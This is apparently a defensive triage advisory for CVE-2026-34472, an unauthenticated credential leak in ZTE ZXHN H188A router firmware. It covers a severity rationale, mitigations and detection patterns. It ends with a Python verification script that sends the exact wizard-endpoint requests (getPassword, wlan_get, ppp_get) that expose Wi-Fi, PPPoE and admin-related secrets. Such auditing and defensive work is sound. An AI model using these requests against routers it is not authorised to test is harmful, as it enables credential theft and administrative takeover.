Unauthenticated credential disclosure in the wizard interface in ZTE ZXHN H188A V6

CVE-2026-34472 is a pre-authentication information disclosure in the ZTE ZXHN H188A wizard flow affecting firmware V6.0.10P2_TE and V6.0.10P3N3_TE. An unauthenticated request can hit pre-login wizard handlers and pull credential-bearing data from the web interface, including WLAN material and PPPoE data; the public research says the leaked Wi-Fi password can also map to the default administrator password after uppercasing, which turns disclosure into effective admin bypass on validated devices.

The vendor baseline of HIGH is understandable in a lab because the bug is unauthenticated and can collapse straight into administrative access. In real enterprise operations, though, the deciding friction is attacker position: the published CVSS uses AV:A, meaning the attacker must already be on the local network or otherwise have reachability to the management plane, which sharply reduces exposed population versus true internet-scale pre-auth bugs.

Why this verdict

• Downgrade from vendor HIGH for attacker position: AV:A means the attacker typically needs same-LAN or management-plane reachability first. In enterprise terms, that usually implies branch compromise, guest-network access, or a misconfiguration already put the attacker close to the router.
• Downgrade for narrow population: this is a specific ZTE CPE/router model on two named firmware builds, not a ubiquitous enterprise platform. Reachable population is materially smaller than a mainstream firewall, VPN, hypervisor, or identity product.
• Keep it at MEDIUM, not LOW: once reachable, exploitation is trivial, unauthenticated, and can expose secrets that the public research says lead to practical admin bypass. Compromising a branch or home-office edge device is still operationally meaningful because it can enable traffic manipulation and local pivoting.

Why not higher?

This is not a broad unauthenticated internet RCE on a common enterprise control plane. The chain depends on adjacency or equivalent management reachability, and that prerequisite compounds with the niche device population to suppress real-world exploitation volume.

Why not lower?

Calling this LOW would ignore the fact that there is public PoC material, no authentication is required once the interface is reachable, and the leak can cross into administrative control on validated devices. For organizations that actually deploy these routers at branches or home offices, the impact to the affected node is too strong for backlog-only treatment.

1. Block management-plane reachability — Restrict the router web UI to a dedicated admin segment or jump host and remove guest, user, and WAN access. For a MEDIUM verdict there is no noisgate mitigation SLA, but this is the fastest risk reduction while you confirm patch availability.
2. Disable remote administration — Turn off WAN-side or ISP-exposed administration anywhere it is not strictly required. This removes the small but important subset of devices that turn an adjacent bug into a remotely reachable one; do it as part of the 365-day remediation window if you cannot do it immediately.
3. Rotate dependent secrets — Change router admin credentials, WLAN PSKs, and PPPoE credentials where operationally possible, especially if the device may have been reachable from guest or untrusted segments. This matters because the published research ties leaked WLAN material to the default admin password behavior on validated devices.
4. Segment branch and guest networks — Ensure guest Wi-Fi and untrusted LANs cannot reach the router management IP. This specifically attacks the AV:A prerequisite that makes the bug exploitable in the first place.
5. Monitor for wizard-endpoint abuse — Alert on HTTP requests containing _type=tedataNotLoginData, _tag=wizard_lua.lua, or IF_ACTION=getPassword|wlan_get|ppp_get. Detection is weak on consumer-grade routers, so upstream firewall, proxy, or packet telemetry is where you will get visibility.

Run this from an auditor workstation on the same network segment that can reach the router web UI, not on the router itself. Invoke it as python3 verify_cve_2026_34472.py http://192.168.1.1; it needs no credentials and no elevated privileges, only HTTP reachability to the target management IP.

#!/usr/bin/env python3
# verify_cve_2026_34472.py
# Check ZTE ZXHN H188A for unauthenticated wizard credential disclosure
# Exit codes: 0=VULNERABLE, 1=PATCHED, 2=UNKNOWN

import sys
import urllib.request
import urllib.error

TIMEOUT = 8
LOGIN_MARKERS = [b'login', b'logon', b'username', b'password', b'adminLogin', b'quicksetup']
SENSITIVE_MARKERS = [b'pppoe', b'ssid', b'wlan', b'psk', b'password', b'key']
PATHS = [
    '/?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=getPassword',
    '/?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=wlan_get',
    '/?_type=tedataNotLoginData&_tag=wizard_lua.lua&IF_ACTION=ppp_get'
]

def fetch(url):
    req = urllib.request.Request(url, headers={'User-Agent': 'noisgate-verifier/1.0'})
    try:
        with urllib.request.urlopen(req, timeout=TIMEOUT) as resp:
            status = getattr(resp, 'status', 200)
            body = resp.read(8192)
            ctype = resp.headers.get('Content-Type', '')
            return status, ctype, body
    except urllib.error.HTTPError as e:
        try:
            body = e.read(4096)
        except Exception:
            body = b''
        return e.code, '', body
    except Exception:
        return None, '', b''

def normalize_base(base):
    base = base.strip()
    if not base.startswith('http://') and not base.startswith('https://'):
        base = 'http://' + base
    return base.rstrip('/')

def looks_sensitive(body):
    low = body.lower()
    hits = sum(1 for marker in SENSITIVE_MARKERS if marker in low)
    login_hits = sum(1 for marker in LOGIN_MARKERS if marker in low)
    return hits >= 2 and login_hits == 0

def main():
    if len(sys.argv) != 2:
        print('UNKNOWN - usage: python3 verify_cve_2026_34472.py <router_base_url>')
        sys.exit(2)

    base = normalize_base(sys.argv[1])
    saw_auth_block = False
    saw_response = False

    for path in PATHS:
        url = base + path
        status, ctype, body = fetch(url)
        if status is None:
            continue
        saw_response = True

        if status in (401, 403):
            saw_auth_block = True
            continue

        if status == 200 and looks_sensitive(body):
            print('VULNERABLE - unauthenticated wizard endpoint returned credential-like data via ' + path)
            sys.exit(0)

        low = body.lower()
        if any(marker in low for marker in LOGIN_MARKERS):
            saw_auth_block = True

    if saw_auth_block and saw_response:
        print('PATCHED - target responded but wizard reads appear gated or redirected to login')
        sys.exit(1)

    if saw_response:
        print('UNKNOWN - target responded but no conclusive credential disclosure was observed')
    else:
        print('UNKNOWN - no HTTP response from target or management UI unreachable')
    sys.exit(2)

if __name__ == '__main__':
    main()

Sources

1. NVD CVE-2026-34472
2. CVE Program record
3. Full Disclosure advisory by Mina Nageh Salalma
4. Researcher GitHub repo / technical breakdown
5. Researcher public disclosure gist
6. FIRST EPSS project
7. CISA Known Exploited Vulnerabilities Catalog
8. ZTE PSIRT contact page